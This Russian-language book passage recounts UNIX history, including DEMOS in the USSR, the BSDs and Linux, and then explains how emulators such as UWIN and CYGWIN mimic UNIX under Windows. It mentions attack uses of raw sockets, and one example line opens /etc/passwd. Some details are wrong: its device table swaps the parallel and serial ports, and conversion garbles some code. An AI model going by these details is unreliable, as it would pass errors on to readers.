Тем временем начался бум переносов UNIX на всевозможные архитектуры. Успех первого из них принадлежит Джюрису Рейндфельдсу из университета Воллоногонга (Австралия), осуществившего портирование UNIX на архитектуру принципиально отличную от PDP-11. Скованный рамками ограниченных финансовых средств, он не мог позволить себе приобрести дорогой PDP-11 и купил более дешевый 32-разрядный компьютер INTERDATA 7/32, оснащенный примитивной и неудобной однопользовательской операционной системой OSMT/32. Поначалу Джюрис пытался усовершенствовать последнюю, но вскоре понял бесперспективность такой затеи и решил перенести на INTERDATA систему UNIX. В январе 1977 года канадец Ричар Миллер, работающий в Воллонгонге, получил в свое распоряжение компилятор Си, способный компилировать собственный исходный текст на INTERDATA 7/32, и менее чем через месяц UNIX успешно запустилась на этой машине. Строго говоря «запустилась» следовало бы взять в кавычки, поскольку UNIX работала поверх OSMT/32 и не поддерживала ни управления терминалом, ни обработки прерываний, а примитивный интерпретатор (то есть оболочка) содержал всего восемь команд.

Однако мизерная трудоемкость переноса вдохновила другие компании, и они начали «штамповать» свои клоны UNIX. Многие из них вносили свои новшества в систему, что привело к несовместимости различных версий друг с другом. Так, например, в Sun Microsystems UNIX оснастили сетевой файловой системой NFS, ставшей стандартом де-факто и дожившей до наших дней. Парни же из Hewlett-Packard создали собственную, более мощную виртуальную файловую систему, и поныне использующуюся в клонах UNIX/HP. Не осталась в стороне и компания Microsoft, выпустившая собственный клон UNIX - XENIX, основанный на базе лицензированного у AT amp;T кода. Исправив многочисленные ошибки и внеся мелкие косметические усовершенствования, Microsoft не создала ничего принципиально нового, но значительно улучшила стабильность работы системы [63]. Немногим позже, совместно с молодой компанией Santa Cruz Operation, Microsoft выпустит XENIX 2 - первую в мире реализацию UNIX для микропроцессора Intel 8086.

Врезка «замечание»

…молодая компания Microsoft, едва успев выпустить более менее рабочую версию своей операционной системы MS DOS 2.0 для компьютеров IBM PC, хватается за разработку собственной версии UNIX - XENIX. При этом делаются рекламные заявления о том, что именно эта ОС является стратегическим курсом компании, поскольку UNIX - будущее операционных систем. Проект сначала был заморожен, потом закрыт, его код в последствии был продан компании Santa Cruz Operation и послужил одной из компонент при разработке ОС SCO Unix

Владимир Анатольевич Петров, «Не так страшен черт, как его малюют»

Тем временем в бывшем (ну, тогда еще настоящем) СССР «появлялось понимание, что что-то не то в этом королевстве - ветвь само строя типа БЭСМ явно подыхала, лезть в уродскую ЕС ЭВМ (OS/360) означало идти на два столетия назад, ходили (я, правда не уверен) слухи про какую-то VSM и великий и могучий VAX, и вообще было ощущение, что сидим мы в пещере и добываем огонь, а снаружи уже самолеты летать начали» [64]. И тогда «"Наши" люди сподобились вытащить UNIX v7 прямо с VAX-а Калифорнийского университета в Беркли [65]» (Давидов М.И. "Вся правда о Демосе").

В Курчатовском Институте Атомной Энергетики за UNIX ухватились Бардин и Паремский, а в МГУ - Антонов. Но Макаров-Землянский (не к ночи он будет упомянут) не одобрил занятий Антонова и выгнал его из лаборатории.

Врезка «замечание»

А промышленностей лидировало три - МинАвтопром, МинАвиапром и МинСредМаш. Показательно, кстати, что не было в лидерах никого из ЭВМ-строителей - что и понятно, так как при плановом хозяйстве им надо было планы выполнять, а не ЭВМ создавать. А, например, авиастроителям нужно было считать, и плевать, чья была ЭВМ и чья ОС и чьи интересы были затронуты при ее выборе. Потому и жили программисты именно в этих отраслях.

Руднев

Поэтому, Антонов перешел в Институт Прикладной Кибернетики МинАвтопрома, где сутками просиживал за терминалами, пытаясь приучить UNIX к советским дисплеям [66]. Вскоре это закончилось успехом, и на СМ-1425 [67] ухитрились вытянуть до четырнадцати дисплеев - огромное по тем временам достижение! А когда Ларин установил переключатель общей шины, соединяющий вместе две СМ-1425, удалось заставить работать двадцать четыре дисплея одновременно!

Приблизительно в это же время, Бутенко создал собственную, написанную с нуля, операционную систему MISS (Multipurpose Interactive timeSharing System), способную «тянуть» до десяти пользователей одновременно, и при этом довольствоваться всего лишь 64 килобайтами оперативной памяти. Система поддерживала собственный ни с кем не совместимый сетевой протокол и оригинальную, ни на что не похожую архитектуру, и… «другие программистские команды, отбросив идею об особой роли России в мировой истории, мудро решили, что "Сколько волка не корми, а у медведя все равно толще", и занялись UNIXом» [68] (Вадим Маслов «Русские истории»).

Вокруг UNIX начали кучковаться сильнейшие программисты того времени - Вадим Антонов, Сергей Леонтьев, Дмитрий Володин, Алексей Руднев, Валера Бардин, Сергей Аншуков и многие другие.

Врезка «замечание»

"Бизнес крутил Миша Давидов. Валера Бардин вещал, что Геббельс и вдохновлял народ на подвиги. Леша Руднев говорил быстрее всех (и хакал тоже). Сергей Аншуков был голосом рассудка. Димочка Володин, как всегда, гонялся за бабочками. Ирочка Мазепа (тогда еще Машечкина) с Наташей Васильевой и Полиной Антоновой отбивались от клиентов и писали документацию, помимо своей основной функции украшения действительности. Коля Саух вечно делал все наоборот - все на BSD, он на System V; ну и т.п. Миша Коротаев - без особого шума тянул тучу черновой работы. Андрей Чернов взялся за MS-DOS’ную ветвь e-mail’а - ну совсем неблагодарное занятие. Ну и еще много других людей, без особенно заметной начальственно - главнокомандующий системы. Ваш покорный (ха!) хоть и числился в начальниках многих упомянутых, но на самом деле был сильно моложе многих же. Так что великого вождя и дорогого товарища из меня не получилось. Зато провел много лет в компании очень интересных людей. И нахакался вдоволь"

Вадим Антонов

Особенно выделилась «династия» Антоновых - «старший [69] умудрялся писать с отладкой программы по 2000 строк на Си за один рабочий день, если пороетесь в текстах большинства версий UNIX, то всюду найдете следы его правок и дополнений». [70] Антонов - младший [71] в одиночку создал собственную реализацию IP протокола, а Вадим написал удобный и компактный редактор программных текстов EDA, завоевавший огромную популярностью у его коллег и использовавшийся на протяжении десятка лет, вплоть до вытеснения современными разработками. К творениям Вадима Антонова относятся и известные утилиты UUMAIL, BATCHMAIL, а вместе с ними организация доменной маршрутизации поверх UUCP (Unix to Unix Copy Protocol). С ее введением отпала необходимость помнить всю цепочку машин, соединяющих отправителя с получателем и писать лес бангов типа primaryhost!foo!bar!fooz!НаДеревнюКоле.

Врезка «для начинающих»

Банг (от английского слова «bang» - «ах!») на техническом жаргоне обозначает восклицательный знак, применяющийся, в частности для разделения названий узлов в аховом пути. Пару десятков лет назад никакой автоматической маршрутизации не существовало, а единственным средством передачи данных от одной машине к другой был протокол UUCP (Unix to Unix Copy Protocol). Сетевые адреса выглядели так: ИмяУзлаСКоторымВозможноПрямоеСоединение!ИмяПользователяУзла.

Чаще всего адресат находился на машине, прямое соединение с которой было невозможно. Тогда приходилось искать узел, доступный как отправителю, так и получателю. Сначала сообщение передавалось ему, а он в свою очередь доставлял его адресату. К сожалению, чаще всего приходилось объединять в цепочку несколько машин, «знающих» друг друга. В начале восьмидесятых аховый путь из десяти-пятнадцати узлов был обычным делом. Иногда проходило весьма значительное время, прежде чем сообщение доходило до получателя, если вообще доходило, а не терялось в дороге.

Поэтому, при отправке использовали сразу несколько маршрутов, для чего прибегали к фигурным скобкам: {PimaryHost1, Primaryhost2}!{SlayerHost1,SlayerHost2}!{Transatlantic, SpaceGateWay}!PopcornHost!John.

Любопытно, но аховый путь сохранился и до сегодняшних дней, и встречается, например, в заголовках сообщений, отправляемых по протоколу NNTP (подробнее об этом рассказано в главе «Протокол NNTP»). Вот пример поля Path заголовка сообщения: “Path: news.medlux.ru!Melt.RU!carrier.kiev.ua!news.kharkiv.net!useua!not-for-mail”.

Тем временем в СССР просочились первые IBM PC, а вместе с ними у «буржуев» позаимствовали VENIX - клон UNIX. К сожалению, исходные тексты ядра отсутствовали, и Дмитрий Бурков решился на беспрецедентный шаг: он дизассемблировал ядро и воссоздал исходный код на языке Си, дававший после компиляции идентичный машинный код - своеобразный программистский подвиг!

Врезка «мнение»*

«Как и все ворованное, цельно дернутые системы не очень помогли советской компьютерной науке и практике. Свои исследования были свернуты, деньги были брошены на прохакивание и русификацию добытого на Западе»

Вадим Маслов Русская Сеть: Истории

Адоптированный к советскому железу (СМ-1425) Вадимом Антоновым и переведенный на русский язык Дмитрием Володиным UNIX получил названием ДЕМОС (Диалоговая Единая Операционная Система). В Курчатовском Институте аналогичный клон окрестили «УНАС» - то есть у них - UNIX, а у нас «УНАС», но это название не прижилось.

Осенью 1984 года Институт Прикладной Кибернетики провел открытый семинар, на котором продемонстрировали работоспособный ДЕМОС и выступили с докладами его создатели. Так началось расползание UNIX по стране - до начала эпохи всеобщей коммерциализации и образования кооператива «Демос» разошлось приблизительно 200 копий дистрибьютива.

Постепенно ДЕМОС в России стал стандартом де-факто и после издания Министерством Приборостроения указа об обязательном снабжении ДЕМОС-ом всех новых машин, он активно переносился на новые платформы, в том числе и отечественный суперкомпьютер «Эльбрус К2 [72]», СМ-1700 [73] и т.д.

К середине 1985 года завершился грандиозный этап документирования системы, вылившийся в тридцать три тома, которые так и не были утверждены Государственной Комиссией. А в это же время в СССР попала свежая версия UNIX - BSD 2.9, и процесс локализации и адоптации начался с начала…

Врезка «реплика»*

«Где-то в 1993 году СП Диалог пригласило Б. Гейтса, который выступил с лекцией. Было много народу, в том числе и юниксоидов. Слушали его с иронией и усмешкой. Владелец купленного в Силиконовой Долине DOS-а и соавтор Бейсика не вызывал у нас ничего, кроме презрительной усмешки…

А он уже знал, что станет самым богатым человеком, он знал, что впереди миллионы примитивных юзеров, и что их заставят через каждые полтора-два года покупать новые компьютеры и учиться, учиться… Он знал это, вырос в капиталистической стране и умел то, чего не умели мы - работать на рынок, идти не вопреки ему, а за ним»

Давидов «Вся правда о ДЕМОС»

Тем временем, на западе в 1992 году Вильям и Линна Джолитц решили создать свой клон UNIX для IBM PC, предназначенный для свободного распространения и не обремененный оригинальным кодом AT amp;T, который требовал дорогостоящей лицензии. Так появился 386BSD 0.0.

К сожалению, затея провалилась: авторская принадлежность многих фрагментов оказалась весьма спорной, и суд удовлетворил иск, поданный компанией Novell, налагая запрет на распространения исходного текста критических файлов. В результате этого процесса образовался усеченный вариант UNIX - BSD-Lite.

Но не прошло и года, как BSD-Lite дал рождение трем новым клонам UNIX - NetBSD, OpenBSD и FreeBSD. Все они в той или иной степени были совместимы с оригинальной системой UNIX, вполне пригодны для полноценного использования и самое главное - распространялись абсолютно бесплатно.

Со временем NetBSD была перенесена и на другие платформы - DEC Alpha, Atari, Apple Macintosh, Motorola, HP 300/9000, PC532, Sun SPARC, VAX, и даже на Z80! Появилась совместимость с операционными системами FreeBSD, iBCS2, Sun OS, Ultrix, HPUX, LINUX, OSF/1 и SVR4.

От аналогичных бесплатных клонов NetBSD выгодно отличалась завидной близостью к стандартам POSIX и Standard C, что упрощало перенос программного обеспечения с «настоящей» UNIX в среду NetBSD.

Другая система, FreeBSD, прочно обосновалась на IBM PC и вместо разлива вширь стала развиваться вглубь - тщательными «вылизываниями» программного кода, разработчики заметно улучшили производительность и исправили множество ошибок. Считается, что современная реализация FreeBSD превзошла в защищенности и стабильности работы не только бесплатные, но и коммерческие операционные системы.

Так выглядит логотип FreeBSD

Система OpenBSD появилась на свет в результате разногласий в коллективе разработчиков NetBSD, возникших по поводу безопасности (точнее ее отсутствия). Скандал кончился выходом из группы Тео де Раадта, который с коллективом единомышленников занялся поиском ошибок и переписываем уязвимых участков кода. Никаких других принципиальных отличий между этими двумя системами до сих пор не появилось.

На фоне множества клонов и подражаний, основанных на оригинальной версии AT amp;T или усовершенствованных исходных текстов Беркли, заметно выделялась мини-операционная система Minix Энди Таненбаума, написанная им «с нуля». Это была крошечная UNIX, созданная для 386 машин. Пригодная скорее для забавы, чем серьезной работы, она, тем не менее, завоевала признание начинающих программистов, тренирующихся в написании собственных драйверов и модернизации исходных текстов ядра. Но неполноценность системы не позволяла запускать большинство «серьезного» программного обеспечения, в том числе компиляторы Си и Форта. Поэтому, Minix, так и не доведенная до потребного состояния, была заброшена на полку. На этом бы ее история и закончилась, если бы студент хельсинского университета Линус Торвальдс [74] не загорелся идеей «сделать Minix лучше себя самого [75]».

Но никакому одиночке не под силу самостоятельно написать полнофункциональную операционную систему, поэтому, Линус попытался прилечь к этой затее энтузиастов со всего мира. Ниже приведен отрывок из его письма, запущенного в конференцию comp.os.minix:

«Грустите ли вы по тем прекрасным временам Minix-1.1, когда мужчины были настоящими мужчинами и писали свои собственные драйверы на все устройства? У вас сейчас нет под рукой настоящего проекта, и вы вымираете от невозможности вонзить свои зубы в какую-то ОС, которую бы можно было модифицировать под свои желания? Не находите ли вы деморализующей ситуацию, когда все в Minix работает? Нет больше бессонных ночей, которые позволяли заставить хитрые программы работать правильно? Тогда это место для вас…»

Линус Торвальдс

Первые версии были написаны на чистом ассемблере и включили в себя: планировщик, переключающий задачи в защищенном режиме 386+ процессора, драйвер жесткого диска (с большим количеством ошибок, но все-таки работающий) и простейшую файловую систему. Все остальное исходные тексты не давали выполняемого кода - они состояли из одних заголовков, и для своей компиляции требовали наличие операционной системы.

Так выглядит логотип LINUX

Наконец, 5-го октября 1991 года Линус выпустил первую «официальную» версию, на которой удавалось успешно запустить оболочку Борна (Born Shell) и компилятор Си GNU C. По легенде Линус хотел назвать свою систему “Free UNIX”, но системный администратор поместил ее в каталог LINUX (от Линус и UNIX). Аббревиатура оказалась удачной и намертво прилипла.

Первую версию скопировало с сервера приблизительно пять человек. Среди них нашлись специалисты, указавшие Линусу на ошибки и посоветовавшие каким образом их лучше всего исправить.

Наличие компилятора Си во многом упрощало дальнейшее совершенствование системы, и в работу включалось все больше и большее количество народа. Со временем LINUX выросла в полноценный UNIX-клон, ни в чем не уступающий своим коммерческим собратьям. За исключением, пожалуй, одного - никакой потребной документации и поддержки не появилось до сих пор: всем участникам проекта гораздо интереснее копаться в недрах ядра, чем отвлекаться на такие «бесполезные» занятия.

Сейчас много спорят, составит ли LINUX угрозу Microsoft или нет, но в любом случае, LINUX никогда не станет массовой операционной системой - в силу своей недружественности ни к пользователям, ни к разработчикам. Любой программист в первую очередь требует не удобный инструментарий, а тщательно продуманную и понятную документацию [76]. Поэтому, большинство современных разработчиков склоняются к продукции Microsoft (хотя это не мешает некоторым их них ненавидеть и ее саму, и ее продукцию лютой ненавистью). Работа на LINUX связана с постоянной необходимостью углубляться в изучение исходных кодов, заменяющих собой документацию и рыскать по огромному man-у, в поисках информации, которая нужна, - занятие не для слабонервных. С другой стороны, программировать под UNIX гораздо проще, чем под Windows, где никакой человек не в состоянии удержать в голове хотя бы важнейшие системные вызовы, а поэтому качество документации не столь критично.

Врезка «мнение»

Я рассматриваю LINUX как нечто, что не принадлежит Microsoft - это ответный удар против Microsoft, ни больше, ни меньше. Не думаю, что его ожидает большой успех. Я видел исходные тексты, там есть как вполне приличные компоненты, так и никуда не годные. Поскольку в создании этих текстов принимали участие самые разные, случайные люди, то и качество отдельных его частей значительно разнится.

По своему опыту и опыту некоторых моих друзей могу сказать, что LINUX - довольно ненадежная система. Microsoft выпускает не слушком надежные программные продукты, но LINUX худший из них. Это среда долго не продержится. Если вы используете ее на одном компьютере - это одно дело. Если же хотите применять LINUX в брандмауэрах, шлюзах, встроенных системах и так далее - она требует еще очень серьезной доработки.

Кен Томпсон

Поэтому, LINUX можно назвать не системой для профессиональных программистов, а средой любителей, интересующихся не конечным результатом, а самими процессом программирования. Коммерция в LINUX затруднена в силу немассовости этой системы. Никогда секретарша Леночка не будет конфигурировать SendMail, и использовать LISP-подобный язык редактора EMACS. Удобного же интерфейса сравнимого с тем, что есть в Windows 9x/Windows NT, на LINUX не появится и завтра.

В качестве серверной платформы LINUX не рекомендуется использовать из соображений безопасности [77], - в этом она сильно уступает FreeBSD (распространяемой, как и LINUX - бесплатно).

Тем не менее, все это не мешает LINUX быть и оставаться эдемом для энтузиастов программирования, не интересующихся коммерческой стороной процесса. Системы же Microsoft занимают совсем другую нишу, никак не пересекающуюся с миром LINUX и бесплатного программного обеспечения.

Эрик Раймон (известный по «Новому словарю хакера») глубоко убежден, что передача прав на исходные тексты продукта - единственно возможный путь развития программного обеспечения. Именно он убедил компанию Netscape открыть исходные тексты своего браузера. Однако, пользователей «неправильного» Internet Explorer оказывается несравненно больше и работает он куда устойчивее своего «правильного» собрата.

"Если вы отвергаете мир, в который вас втолкнули, вы должны найти другой мир. Нельзя просто усесться и заявить, что все это еще будет создано. Всякое внешнее движение бесполезно, пока в нем участвуют люди, внутренне не переменившиеся"

Приписывается Хиппи

Как запускать UNIX приложения под Windows

O В этой главе:

O Отличия между UNIX и Windows

O Перенос приложений с UNIX на Windows

O Техника эмуляции UNIX

O Различия между дескриптором и обработчиком

O Различия в реализации процессов в UNIX и Windows

O Имитация вызовов fork и exec

O Эмуляция сигналов

O Отличия в реализации кучи

O Различие наклона черты-разделителя каталогов

O Наименования стандартных устройств в UNIX и Windows

O Имитация чувствительности к регистру в наименовании файлов

O Отсутствие поддержки сырых гнезд в Windows

O Сравнение эмуляторов UWIN и CYGWIN

"…ты выбрал самый трудный путь для того, чтобы взобраться сюда. Иди за мной, я покажу тебе самый легкий путь"

Френк Херберт "Дюна"

Открытость исходных текстов большинства UNIX-приложений чрезвычайно облегчает их анализ на предмет поиска дыр, - разве можно сравнить это с утомительным дизассемблированием кода Windows NT?

Однако простой визуальный просмотр распечаток - крайне неэффективный и трудоемкий метод исследования. Разумнее установить на компьютере UNIX и прогонять код под отладчиком. В любом случае UNIX потребуется для получения навыков работы с командными оболочками. Позже это пригодится для удаленного запуска программ и управления своим акаунтом на сервере.

Современные версии UNIX снабжены достаточно грамотными программами инсталляции, и в большинстве случаев установка никаких проблем не вызывает. Но… может «скушать» до пятисот мегабайт дискового пространства, и уж наверняка потребует перекройки таблицы разделов, - а гарантировать сохранность информации разработчики, естественно, не собираются. Резервироваться? Уж лучше купить новый жесткий диск!

Но можно пойти и другим путем - воспользоваться утилитами, позволяющими запускать UNIX приложения прямо из-под Windows! Написать полноценный эмулятор UNIX теоретически возможно, правда, вряд ли кому-то удастся добиться хорошей производительности. Да и зачем? Исходные тексты большинства приложений доступны, - остается перекомпилировать их под новую платформу и все! Но на самом деле это далеко не так просто, как может показаться на первый взгляд. Архитектуры UNIX и Windows в целом очень близки, но незначительные отличия не позволяют запустить «чужой» код без существенной переработки программы.

Поэтому, приходится выкручиваться иначе, - добавлять к Windows еще одну библиотеку, сглаживающую различия системных функций обоих операционных систем. Именно так и поступил Дэвид Корн (автор известной одноименной оболочки), создатель UWIN.

На рисунке 041 на первый взгляд изображен знаменитый “Norton Commander” но, присмотревшись внимательнее, можно различить «неправильный» [78] символ-разделитель каталогов. Да, это “Midnight Commander”, - Norton для UNIX.

Так выглядит Midnight Commander, запушенный на эмуляторе UNIX в среде Windows 98

Стоит развернуть окно консоли на полный экран, и не каждый поклонник UNIX разберется в какой операционной системе он работает! Конечно, «живая» UNIX все же лучше, но для большинства задач, описываемых в книге, эмулятор вполне подойдет.

Разумеется, UWIN не единственное приложение в своем роде. Существует еще CYGWIN, NUTCRACKER и множество других аналогичных программ. Какую из них использовать - выбирать читателю, но в книге будут описаны лишь две - UWIN и CYGWIN. Для некоммерческого использования они бесплатны, остальные же требуют оплаты, зачастую превышающей стоимость фирменного диска UNIX и дополнительного винчестера!

Перед углублением в описание особенностей обоих программ полезно рассмотреть: в чем заключатся различия между Windows и UNIX, и какие существуют пути их преодоления. «С высоты птичьего полета» эти операционные системы практически идентичны друг другу, и если бы программисты не использовали особенностей реализации той или иной функции в переносе прикладных приложений никаких проблем не возникало [79].

Так, в UNIX каждый открытый файл ассоциирован с дескриптором, а Windows используют HANDLE [80]. В первом приближении одно идентично другому - это «магические» числа, интерпретировать которые может только операционная система, а для приложений они представляется «черными ящиками». Сказанное справедливо для Windows, но в UNIX [81] дескрипторы упорядочены и предсказуемы. Напротив, HANDLE представляют собой случайные 32-числа, поэтому программы, написанные с учетом особенностей представления дескрипторов UNIX, откажутся работать в Windows. Возможный выход из такой ситуации заключается в создании собственной таблицы обработчиков, идентичной для всех процессов и хранящей упорядоченный список дескрипторов (смотри рисунок 001.txt).

Создание эмулятором собственной таблицы файловых манипуляторов

Причем, один и тот же дескриптор может ассоциироваться с несколькими HANDLE. Например, оба дескриптора консоли, одновременно открытой как на запись, так и на чтение должны управляться всего одним обработчиком. Это обстоятельство крайне важно, ибо в Windows не существует глобальной таблицы обработчиков общей для всех процессов [82]. Каждый процесс имеет собственную локальную таблицу, поэтому бессмысленно пытаться использовать HANDLE чужого процесса. Локализация манипуляторов значительно повышает надежность системы, но затрудняет межпроцессорные взаимодействия, и все UNIX приложения, не рассчитывающие на такой поворот событий, тут же откажут в работе. Поэтому, необходимо собрать все HANDLE в одну таблицу, общую для всех UNIX-процессов (смотри рисунок 002.txt).

Рисунок 002.txt (показаны локальные таблицы HANDLE для двух Windows-процессов, и их отображение в глобальную таблицу дескрипторов UNIX-эмулятора)

Намного более существенны различия реализаций процессов в UNIX и Windows. Поддержка многозадачности в UNIX реализована крайне убого (да не обидятся ее поклонники на это высказывание). Системный вызов exec, запуская новый процесс, «подминает» текущий, поэтому, до запуска exec обычно используется функция fork, расщепляющая один процесс на два - родительский и дочерний. Процесс-сын наследует все открытые файлы отца, сегмент данных и продолжает выполнение с той же самой точки, в которой завершился вызов fork. Отличие между ними заключается лишь в возвращаемом функцией fork значении. Родительский процесс получает идентификатор дочернего, а сам дочерний всегда ноль. Поэтому, код, поражающий новый процесс, в UNIX приложениях обычно выглядит так: “if (fork()-0) exec(“/bin/vi”,”/etc/passwd”,0);”.

В Windows все намного естественнее и элегантнее. Вызов CreateProcess действительно порождает новый процесс, не затирая текущий. При этом сохраняется возможность наследования всех обработчиков установкой флага bInheritHandles. Поэтому, функция CreateProcess практически эквивалентна последовательным вызовам fork + exec. Но аналога fork в Windows нет, как нет возможности расщепления процессов! По большому счету это просто не нужно современным программистам, но часто использовалось разработчиками UNIX-приложений.

Любой эмулятор UNIX должен уметь имитировать вызов fork, благо гибкая архитектура Windows это позволяет. Чаще всего создается приостановленный (suspend) процесс с той же самой стартовой информацией, что и текущий. До выполнения функции main() из родительского процесса в дочерний копируется сегмент данных, стек и дублируются все обработчики. В последнюю очередь модифицируется контекст процесса, хранящий значения регистров, в том числе и регистра указателя очередной выполняемой команды (в 386+ серии микропроцессоров он носит название EIP).

Гораздо проще имитировать exec, - достаточно вызвать CreateProcess и “прибить” текущий процесс, имитируя его замещение новым. Остается всего лишь переустановить идентификатор, сохраняя генеалогическую линию. Если этого не сделать, вновь порожденный процесс станет потомком процесса, вызвавшего exec, а в оригинальной системе UNIX функция.exec не создает дочернего процесса и сохраняет идентификатор текущего. Но идентификатор процесса выдается операционной системой и не может быть изменен по желанию приложения! Другими словами, если “Процесс 0” породил “Процесс 1” и запомнил его идентификатор, а “Процесс 1”, имитируя вызов exec, обратился к функции CreateProcess и вызвал exit для завершения своей работы, то “Процесс 0” будет по-прежнему ссылаться на уже несуществующий “Процесс 1”, ничего не зная о порожденном “Процессе 2”, обладающего иным идентификатором.

Ситуация разрешается созданием собственной таблицы идентификаторов эмулятором UNIX. Родительский процесс в качестве идентификатора получает индекс ячейки такой таблицы, содержащей настоящий идентификатор дочернего процесса. В результате появляется возможность «подменить» идентификатор «Процесса 1» на «Процесс 2» незаметно для родительского процесса. (Смотри рисунок 003.txt)

Имитация эмулятором системного вызова fork

В отличие от Windows, UNIX поддерживает сигналы - удобное средство межпроцессорного взаимодействия, своеобразный аналог программно-аппаратных прерываний. Механизм же сообщений, реализуемый Windows, требует постоянного опроса очереди сообщений на предмет обнаружения новых поступлений. Так, например, при закрытии окна приложению посылается сообщение WM_CLOSE, но если оно в этот момент не читает очередь, а занято чем-то другим, скажем, форматированием очередного трека дискеты или сортировкой данных, то проигнорирует попытку закрытия, и продолжит работу вплоть до следующей проверки очереди. Поэтому, практически в каждом Windows-приложении присутствует следующий код:

· while (GetMessage ( amp;msg, NULL, 0, 0))
· {
· TranslateMessage ( amp;msg);
· DispatchMessage ( amp;msg);
·}

Исключения составляют консольные приложения, а во всех остальных случаях никакое однопоточное приложение не может «забыть» о проверке очереди сообщений больше чем на десятую долю секунды, не вызывая протестов со стороны пользователя, ругающегося ни на что не реагирующую программу.

В UNIX все гораздо проще - операционная система автоматически прерывает работу процесса-получателя и передают управление на подпрограмму обработки сигнала, а после ее завершения возобновляет выполнение прерванного процесса с того же самого места.

К счастью, в Windows 9x/Winwos NT существует многопоточность и множество механизмов межпроцессорных взаимодействий, поэтому имитировать поддержку сигналов вполне реально. Для этого в каждом эмулируемом приложении необходимо выделить отдельный поток, ожидающий ну, например, события (Event) и передающий управление на соответствующую подпрограмму при его наступлении. (Смотри рисунок 004.txt) События выгодно отличаются возможностью «заморозить» ожидающий поток, не теряя впустую драгоценного процессорного времени.

Следует отметить, функция “kill” вовсе не убивает процесс, как это следует из ее названия, а отправляет ему сигнал, который тот может либо проигнорировать, либо обработать по своему усмотрению.

Имитация эмулятором механизма сообщений

Другое существенное отличие заключается в поведении кучи (heap) при изменении размеров выделенного блока. Куча - это динамически распределяемая область памяти. Не вникая в технические тонкости той или иной реализации, достаточно отметить три важнейшие операции, совершаемые над кучами - выделение блока памяти, освобождение и изменение его размеров. Первые две никаких проблем не вызывают, но вот динамическое изменение размера - штука интересная. Легко уменьшить размер блока, но намного чаще программистам требуется его увеличить (для того кучи и задуманы, чтобы сначала запросить немножечко памяти, а по мере потребности требовать ее все больше и больше). А как поступить, если к концу одного блока вплотную примыкает следующий? UNIX использует трансляцию адресов, то есть определенным образом отображает физические адреса на логические, создавая видимость непрерывности всего блока памяти, хотя на самом деле он состоит из множества беспорядочно разбросанных фрагментов. А вот Windows находит подходящий по размеру свободный блок памяти, проецирует в его начало содержимое увеличиваемого блока и возвращает новый указатель начала блока. Программы Windows, рассчитанные на такое поведение, выполняются успешно, но вот, попробуй-ка, научи UNIX-приложения этим фокусам! Поэтому, эмулятор UNIX должен иметь свой собственный менеджер куч, работающий с памятью Windows на низком уровне функциями VirtualAlloc и VirtualFree.

Описанные выше различия относятся к тонкостям реализации, и скрыты от простого пользователя, отличающего Windows от UNIX по наклону черты-разделителя. Совершенно непонятно, почему разработчики MS-DOS вопреки всем соглашениям де-факто, решили проявить оригинальность, применив не прямой, а обратный слеш, зарезервированный в Си для управляющих символов. Очевидно, перенос программы из UNIX в MS-DOS (Windows) потребовал бы переделок значительной части кода и существенных усилий. К счастью, эмуляторы позволяют этого избежать, автоматически переформатировав строку (в простейшем случае) или установив новый драйвер файловой системы (для обеспечения полной имитации). Не следует забывать, файловая система в UNIX монтируемая, т.е. объединяет в одну логическую структуру файлы и каталоги, физически расположенные не только на разных носителях, но и компьютерах.

Гораздо больше неудобств доставляет «двойной» перенос строки в MS-DOS (Windows), задаваемый символами “\r\n”, тогда как UNIX ожидает лишь одиночного символа “\n”. Поэтому, в большинстве случаев UNIX-приложения не могут корректно обрабатывать тексты, созданные редакторами MS-DOS (Windows) и наоборот. Так, текст программы, набранный в редакторе edit, вызовет протест со стороны UNIX-версии интерпретатора Perl.

Универсального выхода из этой ситуации не существует, но посредственных решений проблемы можно предложить сколько угодно. Чаще всего эмуляторы при открытии файла в текстовом режиме самостоятельно обрабатывают символы перевода строки, следуя UNIX-соглашению. Файл, открытый в двоичном режиме читается «как есть», поскольку невозможно различить действительный перевод строки от совпадения последовательности символов. К сожалению, многие приложения обрабатывают текстовые файлы, открывая их в бинарном режиме. Поэтому, лучше всего переносить файлы данных вручную, при необходимости заменяя символы переноса строки.

Точно так, в MS-DOS и UNIX не совпадают наименования устройств. Например, для подавления вывода сообщений на экран в MS-DOS используется конструкция “»nul” (“echo Это сообщение никогда не появится на экране»nul”), а в UNIX - “»/dev/null” (“echo Это сообщение никогда не появится на экране» /dev/null”). Другие примеры различий показаны в таблице 1

– Устройство Название в UNIX Название в MS-DOS

– Консоль /dev/tty Con

– Стандартный ввод /dev/stdin Con

– Стандартный вывод /dev/stdout Con

– Черная дыра /dev/null Nul

– Привод гибких дисков /dev/fd А: (B:)

– Параллельный порт /dev/lp Com

– Последовательный порт /dev/mod lpt

Таблица 1 Различия наименования устройств в UNIX и MS-DOS

Поэтому, любой эмулятор должен предоставлять собственную библиотеку функций для работы с файлами, имитирующую наличие указанных устройств. Это реализуется простым преобразованием имен и контролем доступа операций записи и чтения (например, в стандартный ввод нельзя записывать, хотя MS-DOS это позволяет, совмещая и ввод, и вывод в одном устройстве под названием ‘con’ - сокращение от console).

К сожалению, существуют и такие различия, сгладить которые невероятно трудно. Так, например, система UNIX чувствительна к регистру в именах файлов и допускает мирное сосуществование “myfile” и “MyFile” в одном каталоге. Кажется, единственный способ приучить к этому Windows, - реализовать собственную файловую систему, но существуют более простые, хотя и менее элегантные решения. Некоторые эмуляторы ассоциируют файлы с таблицами виртуальных имен, обрабатываемых по правилам UNIX. (Смотри рисунок 005.txt)

Создание эмулятором таблицы виртуальных имен, чувствительных к регистру

Намного хуже дело обстоит с поддержкой сырых гнезд (SOCK_RAW). Если говорить просто, сырые гнезда позволяют прикладной программе самостоятельно сформировать заголовок IP пакета, - действие редко используемое в нормальной жизни, но необходимое для множества атак.

Спецификация WINSOCK 2.x как будто бы подтверждает их наличие в Windows, но на самом деле, соответствующие функции реализованы неправильно и посылают подложный пакет, помещая пользовательский заголовок в область данных. Не то чтобы ситуация была полностью безнадежна, но написание собственных драйверов TCP/IP требует надлежащей квалификации разработчиков, и ни один из известных автору эмуляторов сырых гнезд не поддерживает.

К слову сказать, помимо гнезд семейства AF_INET, в UNIX существуют и гнезда используемые для межпроцессорного взаимодействия, не поддерживаемые WINSOCK, но реализуемые подавляющим большинством эмуляторов.

Рассмотрев теоретические различия между UNIX и Windows, перейдем к сравнению конкретных реализаций эмуляторов. Для этого возьмем двух ярких представителей, UWIN от компании AT amp;T (кто знает UNIX лучше AT amp;T?) и CYGWIN, поддерживаемый в рамках проекта GNU [83].

Логотип эмулятора UWIN

